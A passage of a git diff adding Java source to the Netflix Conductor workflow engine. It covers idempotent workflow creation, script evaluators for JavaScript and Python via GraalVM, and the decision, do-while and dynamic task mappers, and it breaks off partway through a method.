+ boolean createAttempted = false; + try { + try { + WorkflowModel existingWorkflow = + executionDAOFacade.getWorkflowModelFromExecutionDAO(workflowId, false); + validateIdempotentWorkflowOwnership(input, existingWorkflow); + return existingWorkflow; + } catch (NotFoundException e) { + LOGGER.debug( + "No existing workflow found in execution store for idempotent start of workflow id {}, proceeding with creation", + workflowId); + } + + WorkflowModel workflow = createWorkflowModel(input, workflowDefinition, workflowId); + createAttempted = true; + createAndQueueEvaluationWithLock(workflow); + + Monitors.recordWorkflowStartSuccess( + workflow.getWorkflowName(), + String.valueOf(workflow.getWorkflowVersion()), + workflow.getOwnerApp()); + return workflow; + } catch (Exception e) { + Monitors.recordWorkflowStartError( + workflowDefinition.getName(), WorkflowContext.get().getClientApp()); + LOGGER.error( + "Unable to start workflow idempotently: {}", workflowDefinition.getName(), e); + + try { + if (createAttempted) { + executionDAOFacade.removeWorkflow(workflowId, false); + } + } catch (Exception rwe) { + LOGGER.error("Could not remove the workflowId: " + workflowId, rwe); + } + throw e; + } finally { + executionLockService.releaseLock(workflowId); + } + } + + private void validateIdempotentWorkflowOwnership( + StartWorkflowInput input, WorkflowModel existingWorkflow) { + if (StringUtils.isBlank(input.getParentWorkflowId()) + && StringUtils.isBlank(input.getParentWorkflowTaskId())) { + return; + } + + if (!StringUtils.equals(input.getParentWorkflowId(), existingWorkflow.getParentWorkflowId()) + || !StringUtils.equals( + input.getParentWorkflowTaskId(), + existingWorkflow.getParentWorkflowTaskId())) { + String message = + String.format( + "Workflow id %s already belongs to parent workflow %s task %s, cannot attach to parent workflow %s task %s", + existingWorkflow.getWorkflowId(), + existingWorkflow.getParentWorkflowId(), + existingWorkflow.getParentWorkflowTaskId(), + input.getParentWorkflowId(), + input.getParentWorkflowTaskId()); + throw new NonTransientException(message); + } + } + + private void createAndEvaluate(WorkflowModel workflow) { + if (!executionLockService.acquireLock(workflow.getWorkflowId())) { + throw new TransientException("Error acquiring lock when creating workflow: {}"); + } + try { + createAndEvaluateWithLock(workflow); + } finally { + executionLockService.releaseLock(workflow.getWorkflowId()); + } + } + + private void createAndEvaluateWithLock(WorkflowModel workflow) { + executionDAOFacade.createWorkflow(workflow); + LOGGER.debug( + "A new instance of workflow: {} created with id: {}", + workflow.getWorkflowName(), + workflow.getWorkflowId()); + executionDAOFacade.populateWorkflowAndTaskPayloadData(workflow); + notifyWorkflowStatusListener(workflow, WorkflowEventType.STARTED); + decide(workflow); + } + + private void createAndQueueEvaluationWithLock(WorkflowModel workflow) { + executionDAOFacade.createWorkflow(workflow); + LOGGER.debug( + "A new instance of workflow: {} created with id: {}", + workflow.getWorkflowName(), + workflow.getWorkflowId()); + executionDAOFacade.populateWorkflowAndTaskPayloadData(workflow); + notifyWorkflowStatusListener(workflow, WorkflowEventType.STARTED); + try { + expediteLazyWorkflowEvaluation(workflow.getWorkflowId()); + } catch (Exception e) { + LOGGER.warn( + "Unable to expedite evaluation for newly created workflow {}, leaving default decider queue entry in place", + workflow.getWorkflowId(), + e); + } + } + + private WorkflowDef resolveWorkflowDefinition(StartWorkflowInput input) { + WorkflowDef workflowDefinition; + + if (input.getWorkflowDefinition() == null) { + workflowDefinition = + metadataMapperService.lookupForWorkflowDefinition( + input.getName(), input.getVersion()); + } else { + workflowDefinition = input.getWorkflowDefinition(); + } + + workflowDefinition = metadataMapperService.populateTaskDefinitions(workflowDefinition); + validateWorkflow( + workflowDefinition, + input.getWorkflowInput(), + input.getExternalInputPayloadStoragePath()); + return workflowDefinition; + } + + private WorkflowModel createWorkflowModel( + StartWorkflowInput input, WorkflowDef workflowDefinition, String workflowId) { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(workflowId); + workflow.setCorrelationId(input.getCorrelationId()); + workflow.setPriority(input.getPriority() == null ? 0 : input.getPriority()); + workflow.setWorkflowDefinition(workflowDefinition); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setParentWorkflowId(input.getParentWorkflowId()); + workflow.setParentWorkflowTaskId(input.getParentWorkflowTaskId()); + workflow.setOwnerApp(WorkflowContext.get().getClientApp()); + workflow.setCreateTime(System.currentTimeMillis()); + workflow.setUpdatedBy(null); + workflow.setUpdatedTime(null); + workflow.setEvent(input.getEvent()); + workflow.setTaskToDomain(input.getTaskToDomain()); + workflow.setVariables(workflowDefinition.getVariables()); + + Map workflowInput = input.getWorkflowInput(); + if (workflowInput != null && !workflowInput.isEmpty()) { + Map parsedInput = + parametersUtils.getWorkflowInput(workflowDefinition, workflowInput); + workflow.setInput(parsedInput); + } else { + workflow.setExternalInputPayloadStoragePath(input.getExternalInputPayloadStoragePath()); + } + return workflow; + } + + /** + * Performs validations for starting a workflow + * + * @throws IllegalArgumentException if the validation fails. + */ + private void validateWorkflow( + WorkflowDef workflowDef, + Map workflowInput, + String externalStoragePath) { + // Check if the input to the workflow is not null + if (workflowInput == null && StringUtils.isBlank(externalStoragePath)) { + LOGGER.error("The input for the workflow '{}' cannot be NULL", workflowDef.getName()); + Monitors.recordWorkflowStartError( + workflowDef.getName(), WorkflowContext.get().getClientApp()); + + throw new IllegalArgumentException("NULL input passed when starting workflow"); + } + } + + private void notifyWorkflowStatusListener(WorkflowModel workflow, WorkflowEventType event) { + try { + switch (event) { + case STARTED: + workflowStatusListener.onWorkflowStartedIfEnabled(workflow); + break; + case RERAN: + workflowStatusListener.onWorkflowRerunIfEnabled(workflow); + break; + case RETRIED: + workflowStatusListener.onWorkflowRetriedIfEnabled(workflow); + break; + case PAUSED: + workflowStatusListener.onWorkflowPausedIfEnabled(workflow); + break; + case RESUMED: + workflowStatusListener.onWorkflowResumedIfEnabled(workflow); + break; + case RESTARTED: + workflowStatusListener.onWorkflowRestartedIfEnabled(workflow); + break; + case COMPLETED: + workflowStatusListener.onWorkflowCompletedIfEnabled(workflow); + break; + case TERMINATED: + workflowStatusListener.onWorkflowTerminatedIfEnabled(workflow); + break; + case FINALIZED: + workflowStatusListener.onWorkflowFinalizedIfEnabled(workflow); + break; + default: + return; + } + } catch (Exception e) { + LOGGER.error( + "Error while notifying WorkflowStatusListener for workflow: {}", + workflow.getWorkflowId(), + e); + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/evaluators/ConsoleBridge.java b/core/src/main/java/com/netflix/conductor/core/execution/evaluators/ConsoleBridge.java new file mode 100644 index 0000000..940ac58 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/evaluators/ConsoleBridge.java @@ -0,0 +1,51 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.evaluators; + +import java.util.ArrayList; +import java.util.List; + +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; + +public class ConsoleBridge { + private final List logEntries = new ArrayList<>(); + + private final String taskId; + + public ConsoleBridge(String taskId) { + this.taskId = taskId; + } + + public void error(Object message) { + log("[Error]", message); + } + + public void info(Object message) { + log("[Info]", message); + } + + public void log(Object message) { + log("[Log]", message); + } + + private void log(String level, Object message) { + String logEntry = String.format("%s \"%s\"", level, message); + var entry = new TaskExecLog(logEntry); + entry.setTaskId(taskId); + logEntries.add(entry); + } + + public List logs() { + return logEntries; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/evaluators/Evaluator.java b/core/src/main/java/com/netflix/conductor/core/execution/evaluators/Evaluator.java new file mode 100644 index 0000000..13bce2b --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/evaluators/Evaluator.java @@ -0,0 +1,25 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.evaluators; + +public interface Evaluator { + /** + * Evaluate the expression using the inputs provided, if required. Evaluation of the expression + * depends on the type of the evaluator. + * + * @param expression Expression to be evaluated. + * @param input Input object to the evaluator to help evaluate the expression. + * @return Return the evaluation result. + */ + Object evaluate(String expression, Object input); +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/evaluators/GraalJSEvaluator.java b/core/src/main/java/com/netflix/conductor/core/execution/evaluators/GraalJSEvaluator.java new file mode 100644 index 0000000..717fcd3 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/evaluators/GraalJSEvaluator.java @@ -0,0 +1,40 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.evaluators; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.events.ScriptEvaluator; + +/** + * GraalJS evaluator - an alias for JavaScript evaluator using GraalJS engine. This allows explicit + * specification of "graaljs" as the evaluator type while maintaining backward compatibility with + * "javascript". + */ +@Component(GraalJSEvaluator.NAME) +public class GraalJSEvaluator implements Evaluator { + + public static final String NAME = "graaljs"; + private static final Logger LOGGER = LoggerFactory.getLogger(GraalJSEvaluator.class); + + @Override + public Object evaluate(String expression, Object input) { + LOGGER.debug("GraalJS evaluator -- expression: {}", expression); + Object inputCopy = ScriptEvaluator.deepCopy(input); + Object result = ScriptEvaluator.eval(expression, inputCopy); + LOGGER.debug("GraalJS evaluator -- result: {}", result); + return result; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/evaluators/JavascriptEvaluator.java b/core/src/main/java/com/netflix/conductor/core/execution/evaluators/JavascriptEvaluator.java new file mode 100644 index 0000000..ed60ac3 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/evaluators/JavascriptEvaluator.java @@ -0,0 +1,38 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.evaluators; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.events.ScriptEvaluator; + +@Component(JavascriptEvaluator.NAME) +public class JavascriptEvaluator implements Evaluator { + + public static final String NAME = "javascript"; + private static final Logger LOGGER = LoggerFactory.getLogger(JavascriptEvaluator.class); + + @Override + public Object evaluate(String expression, Object input) { + LOGGER.debug("Javascript evaluator -- expression: {}", expression); + // Defensive deep copy so script-side mutations don't leak into the caller's input and so + // any PolyglotMap/PolyglotList references created during eval cannot escape a closed + // Context (see TaskModelProtoMapper.convertToJsonMap regression that motivated this). + Object inputCopy = ScriptEvaluator.deepCopy(input); + Object result = ScriptEvaluator.eval(expression, inputCopy); + LOGGER.debug("Javascript evaluator -- result: {}", result); + return result; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/evaluators/PythonEvaluator.java b/core/src/main/java/com/netflix/conductor/core/execution/evaluators/PythonEvaluator.java new file mode 100644 index 0000000..e14e93d --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/evaluators/PythonEvaluator.java @@ -0,0 +1,78 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.evaluators; + +import java.util.Map; + +import org.graalvm.polyglot.Context; +import org.graalvm.polyglot.Value; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.exception.TerminateWorkflowException; + +@Component(PythonEvaluator.NAME) +public class PythonEvaluator implements Evaluator { + public static final String NAME = "python"; + private static final Logger LOGGER = LoggerFactory.getLogger(PythonEvaluator.class); + + @Override + public Object evaluate(String expression, Object input) { + try (Context context = Context.newBuilder("python").build()) { + if (input instanceof Map) { + Map inputMap = (Map) input; + + // Set inputs as variables in the GraalVM context + for (Map.Entry entry : inputMap.entrySet()) { + context.getBindings("python").putMember(entry.getKey(), entry.getValue()); + } + + // Build the global declaration dynamically + StringBuilder globalDeclaration = new StringBuilder("def evaluate():\n global "); + for (Map.Entry entry : inputMap.entrySet()) { + globalDeclaration.append(entry.getKey()).append(", "); + } + + // Remove the trailing comma and space, and add a newline + if (globalDeclaration.length() > 0) { + globalDeclaration.setLength(globalDeclaration.length() - 2); + } + globalDeclaration.append("\n"); + + // Wrap the expression in a function to handle multi-line statements + StringBuilder wrappedExpression = new StringBuilder(globalDeclaration); + for (String line : expression.split("\n")) { + wrappedExpression.append(" ").append(line).append("\n"); + } + + // Add the call to the function and capture the result + wrappedExpression.append("\nresult = evaluate()"); + + // Execute the wrapped expression + context.eval("python", wrappedExpression.toString()); + + // Get the result + Value result = context.getBindings("python").getMember("result"); + + // Convert the result to a Java object and return it + return result.as(Object.class); + } else { + return null; + } + } catch (Exception e) { + LOGGER.error("Error evaluating expression: {}", e.getMessage(), e); + throw new TerminateWorkflowException(e.getMessage()); + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/evaluators/ValueParamEvaluator.java b/core/src/main/java/com/netflix/conductor/core/execution/evaluators/ValueParamEvaluator.java new file mode 100644 index 0000000..94c34b0 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/evaluators/ValueParamEvaluator.java @@ -0,0 +1,43 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.evaluators; + +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.exception.TerminateWorkflowException; + +@Component(ValueParamEvaluator.NAME) +public class ValueParamEvaluator implements Evaluator { + + public static final String NAME = "value-param"; + private static final Logger LOGGER = LoggerFactory.getLogger(ValueParamEvaluator.class); + + @SuppressWarnings("unchecked") + @Override + public Object evaluate(String expression, Object input) { + LOGGER.debug("ValueParam evaluator -- evaluating: {}", expression); + if (input instanceof Map) { + Object result = ((Map) input).get(expression); + LOGGER.debug("ValueParam evaluator -- result: {}", result); + return result; + } else { + String errorMsg = String.format("Input has to be a JSON object: %s", input.getClass()); + LOGGER.error(errorMsg); + throw new TerminateWorkflowException(errorMsg); + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/DecisionTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/DecisionTaskMapper.java new file mode 100644 index 0000000..f9de39e --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/DecisionTaskMapper.java @@ -0,0 +1,155 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.Collections; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.events.ScriptEvaluator; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * An implementation of {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#DECISION} to a List {@link TaskModel} starting with Task of type {@link + * TaskType#DECISION} which is marked as IN_PROGRESS, followed by the list of {@link TaskModel} + * based on the case expression evaluation in the Decision task. + * + * @deprecated {@link com.netflix.conductor.core.execution.tasks.Decision} is also deprecated. Use + * {@link com.netflix.conductor.core.execution.tasks.Switch} and so ${@link SwitchTaskMapper} + * will be used as a result. + */ +@Deprecated +@Component +public class DecisionTaskMapper implements TaskMapper { + + private static final Logger LOGGER = LoggerFactory.getLogger(DecisionTaskMapper.class); + + @Override + public String getTaskType() { + return TaskType.DECISION.name(); + } + + /** + * This method gets the list of tasks that need to scheduled when the task to scheduled is of + * type {@link TaskType#DECISION}. + * + * @param taskMapperContext: A wrapper class containing the {@link WorkflowTask}, {@link + * WorkflowDef}, {@link WorkflowModel} and a string representation of the TaskId + * @return List of tasks in the following order: + *

      + *
    • {@link TaskType#DECISION} with {@link TaskModel.Status#IN_PROGRESS} + *
    • List of task based on the evaluation of {@link WorkflowTask#getCaseExpression()} + * are scheduled. + *
    • In case of no matching result after the evaluation of the {@link + * WorkflowTask#getCaseExpression()}, the {@link WorkflowTask#getDefaultCase()} Tasks + * are scheduled. + *
    + */ + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + LOGGER.debug("TaskMapperContext {} in DecisionTaskMapper", taskMapperContext); + List tasksToBeScheduled = new LinkedList<>(); + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + Map taskInput = taskMapperContext.getTaskInput(); + int retryCount = taskMapperContext.getRetryCount(); + + // get the expression to be evaluated + String caseValue = getEvaluatedCaseValue(workflowTask, taskInput); + + // QQ why is the case value and the caseValue passed and caseOutput passes as the same ?? + TaskModel decisionTask = taskMapperContext.createTaskModel(); + decisionTask.setTaskType(TaskType.TASK_TYPE_DECISION); + decisionTask.setTaskDefName(TaskType.TASK_TYPE_DECISION); + decisionTask.addInput("case", caseValue); + decisionTask.addOutput("caseOutput", Collections.singletonList(caseValue)); + decisionTask.setStartTime(System.currentTimeMillis()); + decisionTask.setStatus(TaskModel.Status.IN_PROGRESS); + tasksToBeScheduled.add(decisionTask); + + // get the list of tasks based on the decision + List selectedTasks = workflowTask.getDecisionCases().get(caseValue); + // if the tasks returned are empty based on evaluated case value, then get the default case + // if there is one + if (selectedTasks == null || selectedTasks.isEmpty()) { + selectedTasks = workflowTask.getDefaultCase(); + } + // once there are selected tasks that need to proceeded as part of the decision, get the + // next task to be scheduled by using the decider service + if (selectedTasks != null && !selectedTasks.isEmpty()) { + WorkflowTask selectedTask = + selectedTasks.get(0); // Schedule the first task to be executed... + // TODO break out this recursive call using function composition of what needs to be + // done and then walk back the condition tree + List caseTasks = + taskMapperContext + .getDeciderService() + .getTasksToBeScheduled( + workflowModel, + selectedTask, + retryCount, + taskMapperContext.getRetryTaskId()); + tasksToBeScheduled.addAll(caseTasks); + decisionTask.addInput("hasChildren", "true"); + } + return tasksToBeScheduled; + } + + /** + * This method evaluates the case expression of a decision task and returns a string + * representation of the evaluated result. + * + * @param workflowTask: The decision task that has the case expression to be evaluated. + * @param taskInput: the input which has the values that will be used in evaluating the case + * expression. + * @return A String representation of the evaluated result + */ + @VisibleForTesting + String getEvaluatedCaseValue(WorkflowTask workflowTask, Map taskInput) { + String expression = workflowTask.getCaseExpression(); + String caseValue; + if (StringUtils.isNotBlank(expression)) { + LOGGER.debug("Case being evaluated using decision expression: {}", expression); + try { + // Evaluate the expression by using the GraalJS based script evaluator + Object returnValue = ScriptEvaluator.eval(expression, taskInput); + caseValue = (returnValue == null) ? "null" : returnValue.toString(); + } catch (Exception e) { + String errorMsg = String.format("Error while evaluating script: %s", expression); + LOGGER.error(errorMsg, e); + throw new TerminateWorkflowException(errorMsg); + } + + } else { // In case of no case expression, get the caseValueParam and treat it as a string + // representation of caseValue + LOGGER.debug( + "No Expression available on the decision task, case value being assigned as param name"); + String paramName = workflowTask.getCaseValueParam(); + caseValue = "" + taskInput.get(paramName); + } + return caseValue; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/DoWhileTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/DoWhileTaskMapper.java new file mode 100644 index 0000000..054d854 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/DoWhileTaskMapper.java @@ -0,0 +1,102 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.List; +import java.util.Map; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * An implementation of {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#DO_WHILE} to a {@link TaskModel} of type {@link TaskType#DO_WHILE} + */ +@Component +public class DoWhileTaskMapper implements TaskMapper { + + private static final Logger LOGGER = LoggerFactory.getLogger(DoWhileTaskMapper.class); + + private final MetadataDAO metadataDAO; + private final ParametersUtils parametersUtils; + + public DoWhileTaskMapper(MetadataDAO metadataDAO, ParametersUtils parametersUtils) { + this.metadataDAO = metadataDAO; + this.parametersUtils = parametersUtils; + } + + @Override + public String getTaskType() { + return TaskType.DO_WHILE.name(); + } + + /** + * This method maps {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#DO_WHILE} to a {@link TaskModel} of type {@link TaskType#DO_WHILE} with a status of + * {@link TaskModel.Status#IN_PROGRESS} + * + * @param taskMapperContext: A wrapper class containing the {@link WorkflowTask}, {@link + * WorkflowDef}, {@link WorkflowModel} and a string representation of the TaskId + * @return: A {@link TaskModel} of type {@link TaskType#DO_WHILE} in a List + */ + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + LOGGER.debug("TaskMapperContext {} in DoWhileTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + + TaskModel task = workflowModel.getTaskByRefName(workflowTask.getTaskReferenceName()); + if (task != null && task.getStatus().isTerminal()) { + // Since loopTask is already completed no need to schedule task again. + return List.of(); + } + + TaskDef taskDefinition = + Optional.ofNullable(taskMapperContext.getTaskDefinition()) + .orElseGet( + () -> + Optional.ofNullable( + metadataDAO.getTaskDef( + workflowTask.getName())) + .orElseGet(TaskDef::new)); + + TaskModel doWhileTask = taskMapperContext.createTaskModel(); + doWhileTask.setTaskType(TaskType.TASK_TYPE_DO_WHILE); + doWhileTask.setStatus(TaskModel.Status.IN_PROGRESS); + doWhileTask.setStartTime(System.currentTimeMillis()); + doWhileTask.setRateLimitPerFrequency(taskDefinition.getRateLimitPerFrequency()); + doWhileTask.setRateLimitFrequencyInSeconds(taskDefinition.getRateLimitFrequencyInSeconds()); + doWhileTask.setRetryCount(taskMapperContext.getRetryCount()); + + Map taskInput = + parametersUtils.getTaskInputV2( + workflowTask.getInputParameters(), + workflowModel, + doWhileTask.getTaskId(), + taskDefinition); + doWhileTask.setInputData(taskInput); + return List.of(doWhileTask); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/DynamicTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/DynamicTaskMapper.java new file mode 100644 index 0000000..4ab0480 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/DynamicTaskMapper.java @@ -0,0 +1,157 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** + * An implementation of {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#DYNAMIC} to a {@link TaskModel} based on definition derived from the dynamic task name + * defined in {@link WorkflowTask#getInputParameters()} + */ +@Component +public class DynamicTaskMapper implements TaskMapper { + + private static final Logger LOGGER = LoggerFactory.getLogger(DynamicTaskMapper.class); + + private final ParametersUtils parametersUtils; + private final MetadataDAO metadataDAO; + + public DynamicTaskMapper(ParametersUtils parametersUtils, MetadataDAO metadataDAO) { + this.parametersUtils = parametersUtils; + this.metadataDAO = metadataDAO; + } + + @Override + public String getTaskType() { + return TaskType.DYNAMIC.name(); + } + + /** + * This method maps a dynamic task to a {@link TaskModel} based on the input params + * + * @param taskMapperContext: A wrapper class containing the {@link WorkflowTask}, {@link + * WorkflowDef}, {@link WorkflowModel} and a string representation of the TaskId + * @return A {@link List} that contains a single {@link TaskModel} with a {@link + * TaskModel.Status#SCHEDULED} + */ + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) + throws TerminateWorkflowException { + LOGGER.debug("TaskMapperContext {} in DynamicTaskMapper", taskMapperContext); + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + Map taskInput = taskMapperContext.getTaskInput(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + int retryCount = taskMapperContext.getRetryCount(); + String retriedTaskId = taskMapperContext.getRetryTaskId(); + + String taskNameParam = workflowTask.getDynamicTaskNameParam(); + String taskName = getDynamicTaskName(taskInput, taskNameParam); + workflowTask.setName(taskName); + TaskDef taskDefinition = getDynamicTaskDefinition(workflowTask); + workflowTask.setTaskDefinition(taskDefinition); + + Map input = + parametersUtils.getTaskInput( + workflowTask.getInputParameters(), + workflowModel, + taskDefinition, + taskMapperContext.getTaskId()); + + // IMPORTANT: The WorkflowTask that is inside TaskMapperContext is changed above + // createTaskModel() must be called here so the changes are reflected in the created + // TaskModel + TaskModel dynamicTask = taskMapperContext.createTaskModel(); + dynamicTask.setStartDelayInSeconds(workflowTask.getStartDelay()); + dynamicTask.setInputData(input); + dynamicTask.setStatus(TaskModel.Status.SCHEDULED); + dynamicTask.setRetryCount(retryCount); + dynamicTask.setCallbackAfterSeconds(workflowTask.getStartDelay()); + dynamicTask.setResponseTimeoutSeconds(taskDefinition.getResponseTimeoutSeconds()); + dynamicTask.setTaskType(taskName); + dynamicTask.setRetriedTaskId(retriedTaskId); + dynamicTask.setWorkflowPriority(workflowModel.getPriority()); + return Collections.singletonList(dynamicTask); + } + + /** + * Helper method that looks into the input params and returns the dynamic task name + * + * @param taskInput: a map which contains different input parameters and also contains the + * mapping between the dynamic task name param and the actual name representing the dynamic + * task + * @param taskNameParam: the key that is used to look up the dynamic task name. + * @return The name of the dynamic task + * @throws TerminateWorkflowException : In case is there is no value dynamic task name in the + * input parameters. + */ + @VisibleForTesting + String 